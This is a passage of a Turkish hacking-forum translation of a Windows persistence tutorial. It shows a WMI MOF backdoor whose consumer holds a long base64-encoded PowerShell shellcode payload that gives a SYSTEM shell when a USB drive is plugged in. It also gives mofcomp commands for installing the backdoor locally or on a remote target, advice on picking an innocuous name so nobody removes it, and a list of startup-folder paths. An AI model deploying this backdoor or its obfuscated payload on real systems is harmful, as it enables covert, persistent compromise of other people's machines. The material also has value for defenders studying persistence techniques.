    bABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjAC
    AAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABo
    AHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUA
    B0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwA
    IAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAE
    kAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABh
    AHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIA
    B1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUA
    IAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAG
    EAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABl
    AFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAcwBjACAAPQAgADAAeABmAGMALAAwAHgAZQA4ACwAMAB4ADgAOQAsADAAeAAwADAALA
    AwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADAALAAwAHgAOAA5ACwAMAB4AGUANQAsADAAeAAzADEALAAwAHgAZAAyACwAMAB4ADYA
    NAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADMAMAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADAAYwAsADAAeAA4AGIALAAwAH
    gANQAyACwAMAB4ADEANAAsADAAeAA4AGIALAAwAHgANwAyACwAMAB4ADIAOAAsADAAeAAwAGYALAAwAHgAYgA3ACwAMAB4ADQAYQAs
    ADAAeAAyADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeAAzAGMALAAwAHgANg
    AxACwAMAB4ADcAYwAsADAAeAAwADIALAAwAHgAMgBjACwAMAB4ADIAMAAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAA
    eAAwADEALAAwAHgAYwA3ACwAMAB4AGUAMgAsADAAeABmADAALAAwAHgANQAyACwAMAB4ADUANwAsADAAeAA4AGIALAAwAHgANQAyAC
    wAMAB4ADEAMAAsADAAeAA4AGIALAAwAHgANAAyACwAMAB4ADMAYwAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADgAYgAsADAAeAA0
    ADAALAAwAHgANwA4ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgANwA0ACwAMAB4ADQAYQAsADAAeAAwADEALAAwAHgAZAAwACwAMA
    B4ADUAMAAsADAAeAA4AGIALAAwAHgANAA4ACwAMAB4ADEAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIAMAAsADAAeAAwADEA
    LAAwAHgAZAAzACwAMAB4AGUAMwAsADAAeAAzAGMALAAwAHgANAA5ACwAMAB4ADgAYgAsADAAeAAzADQALAAwAHgAOABiACwAMAB4AD
    AAMQAsADAAeABkADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeABjADEALAAw
    AHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4ADMAOAAsADAAeABlADAALAAwAHgANwA1ACwAMAB4AGYANA
    AsADAAeAAwADMALAAwAHgANwBkACwAMAB4AGYAOAAsADAAeAAzAGIALAAwAHgANwBkACwAMAB4ADIANAAsADAAeAA3ADUALAAwAHgA
    ZQAyACwAMAB4ADUAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIANAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADYANgAsAD
    AAeAA4AGIALAAwAHgAMABjACwAMAB4ADQAYgAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADEAYwAsADAAeAAwADEALAAwAHgAZAAz
    ACwAMAB4ADgAYgAsADAAeAAwADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADAALAAwAHgAOAA5ACwAMAB4ADQANAAsADAAeA
    AyADQALAAwAHgAMgA0ACwAMAB4ADUAYgAsADAAeAA1AGIALAAwAHgANgAxACwAMAB4ADUAOQAsADAAeAA1AGEALAAwAHgANQAxACwA
    MAB4AGYAZgAsADAAeABlADAALAAwAHgANQA4ACwAMAB4ADUAZgAsADAAeAA1AGEALAAwAHgAOABiACwAMAB4ADEAMgAsADAAeABlAG
    IALAAwAHgAOAA2ACwAMAB4ADUAZAAsADAAeAA2ADgALAAwAHgAMwAzACwAMAB4ADMAMgAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4
    ADYAOAAsADAAeAA3ADcALAAwAHgANwAzACwAMAB4ADMAMgAsADAAeAA1AGYALAAwAHgANQA0ACwAMAB4ADYAOAAsADAAeAA0AGMALA
    AwAHgANwA3ACwAMAB4ADIANgAsADAAeAAwADcALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeABiADgALAAwAHgAOQAwACwAMAB4ADAA
    MQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIAOQAsADAAeABjADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAH
    gAMgA5ACwAMAB4ADgAMAAsADAAeAA2AGIALAAwAHgAMAAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANQAwACwAMAB4ADUAMAAs
    ADAAeAA1ADAALAAwAHgANQAwACwAMAB4ADQAMAAsADAAeAA1ADAALAAwAHgANAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAZQ
    BhACwAMAB4ADAAZgAsADAAeABkAGYALAAwAHgAZQAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAA5ACwAMAB4AGMANwAsADAA
    eAA2ADgALAAwAHgANwBmACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAxACwAMAB4ADYAOAAsADAAeAAwADIALAAwAHgAMAAwAC
    wAMAB4ADIANwAsADAAeAAwADQALAAwAHgAOAA5ACwAMAB4AGUANgAsADAAeAA2AGEALAAwAHgAMQAwACwAMAB4ADUANgAsADAAeAA1
    ADcALAAwAHgANgA4ACwAMAB4ADkAOQAsADAAeABhADUALAAwAHgANwA0ACwAMAB4ADYAMQAsADAAeABmAGYALAAwAHgAZAA1ACwAMA
    B4ADYAOAAsADAAeAA2ADMALAAwAHgANgBkACwAMAB4ADYANAAsADAAeAAwADAALAAwAHgAOAA5ACwAMAB4AGUAMwAsADAAeAA1ADcA
    LAAwAHgANQA3ACwAMAB4ADUANwAsADAAeAAzADEALAAwAHgAZgA2ACwAMAB4ADYAYQAsADAAeAAxADIALAAwAHgANQA5ACwAMAB4AD
    UANgAsADAAeABlADIALAAwAHgAZgBkACwAMAB4ADYANgAsADAAeABjADcALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAzAGMALAAw
    AHgAMAAxACwAMAB4ADAAMQAsADAAeAA4AGQALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAxADAALAAwAHgAYwA2ACwAMAB4ADAAMA
    AsADAAeAA0ADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA1ADYALAAwAHgANQA2ACwAMAB4ADUANgAsADAAeAA0ADYALAAwAHgA
    NQA2ACwAMAB4ADQAZQAsADAAeAA1ADYALAAwAHgANQA2ACwAMAB4ADUAMwAsADAAeAA1ADYALAAwAHgANgA4ACwAMAB4ADcAOQAsAD
    AAeABjAGMALAAwAHgAMwBmACwAMAB4ADgANgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADgAOQAsADAAeABlADAALAAwAHgANABl
    ACwAMAB4ADUANgAsADAAeAA0ADYALAAwAHgAZgBmACwAMAB4ADMAMAAsADAAeAA2ADgALAAwAHgAMAA4ACwAMAB4ADgANwAsADAAeA
    AxAGQALAAwAHgANgAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAYgBiACwAMAB4AGYAMAAsADAAeABiADUALAAwAHgAYQAyACwA
    MAB4ADUANgAsADAAeAA2ADgALAAwAHgAYQA2ACwAMAB4ADkANQAsADAAeABiAGQALAAwAHgAOQBkACwAMAB4AGYAZgAsADAAeABkAD
    UALAAwAHgAMwBjACwAMAB4ADAANgAsADAAeAA3AGMALAAwAHgAMABhACwAMAB4ADgAMAAsADAAeABmAGIALAAwAHgAZQAwACwAMAB4
    ADcANQAsADAAeAAwADUALAAwAHgAYgBiACwAMAB4ADQANwAsADAAeAAxADMALAAwAHgANwAyACwAMAB4ADYAZgAsADAAeAA2AGEALA
    AwAHgAMAAwACwAMAB4ADUAMwAsADAAeABmAGYALAAwAHgAZAA1ADsAJABzAGkAegBlACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAA
    KAAkAHMAYwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABzAGkAegBlACAAPQAgACQAcwBjAC4ATABlAG
    4AZwB0AGgAfQA7ACQAeAA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAHMAaQB6
    AGUALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHMAYwAuAEwAZQBuAGcAdABoAC0AMQ
    ApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJAB4AC4AVABvAEkAbgB0ADMA
    MgAoACkAKwAkAGkAKQAsACAAJABzAGMAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkAC
    gAMAAsADAALAAkAHgALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9
    ADsAJwA7ACQAZwBxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcg
    BpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUA
    dABCAHkAdABlAHMAKAAkADEAKQApADsAaQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA4ACkAewAkAH
    gAOAA2ACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBk
    AG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAJABjAG0AZAAgAD0AIA
    AiAC0AbgBvAHAAIAAtAG4AbwBuAGkAIAAtAGUAbgBjACAAIgA7AGkAZQB4ACAAIgAmACAAJAB4ADgANgAgACQAYwBtAGQAIAAkAGcA
    cQAiAH0AZQBsAHMAZQB7ACQAYwBtAGQAIAA9ACAAIgAtAG4AbwBwACAALQBuAG8AbgBpACAALQBlAG4AYwAiADsAaQBlAHgAIAAiAC
    YAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABjAG0AZAAgACQAZwBxACIAOwB9AA==";
};

instance of __FilterToConsumerBinding
{
	Filter = $filter;
	Consumer = $consumer;
};[/COLOR]


Geriye kalan tek şey, MOF'umuzu hedef makinedeki belleğe derlemektir. Bu, mofcomp kullanılarak gerçekleştirilebilir.

Kod:
[COLOR="Plum"]PS C:\Users\Fubar\Desktop> mofcomp.exe .\usb2shell.mof

Microsoft (R) MOF Compiler Version 6.1.7600.16385
Copyright (c) Microsoft Corp. 1997-2006. All rights reserved.

Parsing MOF file: .\usb2shell.mof
MOF file has been successfully parsed
Storing data in the repository...

WARNING: File .\usb2shell.mof does not contain #PRAGMA AUTORECOVER.
If the WMI repository is rebuilt in the future, the contents of this MOF file will not be included in the
new WMI repository.To include this MOF file when the WMI Repository is automatically reconstructed, place
the #PRAGMA AUTORECOVER statement on the first line of the MOF file.

Done![/COLOR]


Derlemeden sonra olayımız/eylemimiz kalıcı olarak bellekte saklanacak, MOF dosyası artık gerekli olmayacak ve silinebilecek. Paranızın karşılığını fazlasıyla almak için aşağıdaki komut dosya diske dokunmadan uzaktaki bir bilgisayarda bir MOF derlemek için kullanılabilir.

Kod:
[COLOR="Plum"]# The pragma namespace will need to be removed from the MOF.
PS C:\Users\Fubar\Desktop> mofcomp.exe -N \\[RemoteTarget]\root\subscription .\usb2shell.mof[/COLOR]


Derlendikten sonra, MOF'u Get-WmiObject kullanarak sorgulayabiliriz, ancak olay tetiklendiğinde çalıştırılacak olan gerçek payloadı belirlemenin mümkün olmadığına dikkat edin. Görünüşte kritik veya masum bir ad seçmek, herhangi birinin onu kaldırmasını engellemelidir.

Kod:
[COLOR="Plum"]PS C:\Users\Fubar\Desktop> Get-WmiObject -namespace root\subscription -Class __EventFilter -Filter
"name='USB-DeviceManager'"

__GENUS          : 2
__CLASS          : __EventFilter
__SUPERCLASS     : __IndicationRelated
__DYNASTY        : __SystemClass
__RELPATH        : __EventFilter.Name="USB-DeviceManager"
__PROPERTY_COUNT : 6
__DERIVATION     : {__IndicationRelated, __SystemClass}
__SERVER         : WIN7-TESTBED
__NAMESPACE      : ROOT\subscription
__PATH           : \\WIN7-TESTBED\ROOT\subscription:__EventFilter.Name="USB-DeviceManager"
CreatorSID       : {1, 5, 0, 0...}
EventAccess      :
EventNamespace   : root\cimv2
Name             : USB-DeviceManager  # Looks legit to me ;)).
Query            : SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa
                   "Win32_DiskDrive" And Targetinstance.InterfaceType = "USB"
QueryLanguage    : WQL[/COLOR]


Aşağıdaki ekran görüntüsünden, bilgisayara bir USB aygıtı takılır takılmaz bir SYSTEM kabuğu aldığımızı görebiliriz.


Pers13_big.png



MOF arka kapımızı silmek istersek, yukarıdaki komutu Remove-WmiObject'e yönlendirebiliriz.


Kod:
[COLOR="Plum"]PS C:\Users\Fubar\Desktop> Get-WmiObject -namespace root\subscription -Class __EventFilter -Filter
"name='USB-DeviceManager'" |Remove-WmiObject[/COLOR]


WQL olay tetikleyicilerinin şaşırtıcı kapsamı, bunu gerçekten gelişmiş bir kalıcılık tekniği haline getirir. Bir MOF dosyası, örneğin, kötü amaçlı yazılım için bir bırakma aracı olarak kullanılabilir; AV/hata ayıklayıcıları sonlandırma, bir C&C'den güncellemeleri alma, parmak izi ağ donanımı, çıkarılabilir medya cihazlarına bulaşma, bir etki alanı üzerinden geçiş yapma vb.




Windows Başlangıç Klasörü

Son teknik klasiktir, "Windows 3"e geri dönen tüm Windows sürümleri, başlangıç dizinlerine sahiptir. Bu dizine yerleştirilen herhangi bir binary, komut dosyası veya uygulama kısayolu, kullanıcı sistemde oturum açtığında çalıştırılacaktır.


Bağlantılar:
Windows Ana Sürümlerinin Listesi - buradan


Başlangıç Dizinleri:

Kod:
[COLOR="Plum"]# Windows NT 6.0 - 10.0 / All Users
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

# Windows NT 6.0 - 10.0 / Current User
%SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

# Windows NT 5.0 - 5.2
%SystemDrive%\********s and Settings\All Users\Start Menu\Programs\Startup

# Windows NT 3.5 - 4.0
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup[/COLOR]



Son Düşünceler:

Eminim ki bu konuda bilinmesi gereken çok fazla bilgi var. Kesinlikle yazılması gereken çok fazlası da vardı. Bununla birlikte, bunun yalnızca Windows kullanıcı alanı kalıcılığının önemli temelleri olduğu açıkça belirtilmelidir. Kalıcılık tekniklerinin işlevsel olarak anlaşılması ancak deney ve pratikle kazanılabilir. Tavşan Deliğinin ne kadar derine gittiğini görmek için devamını okuyucuya bırakıyorum!

Pers14_big.png



SOURCE:https://www.fuzzysecurity.com/tutorials/19.html
TRANSLATOR Dolyetyus
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.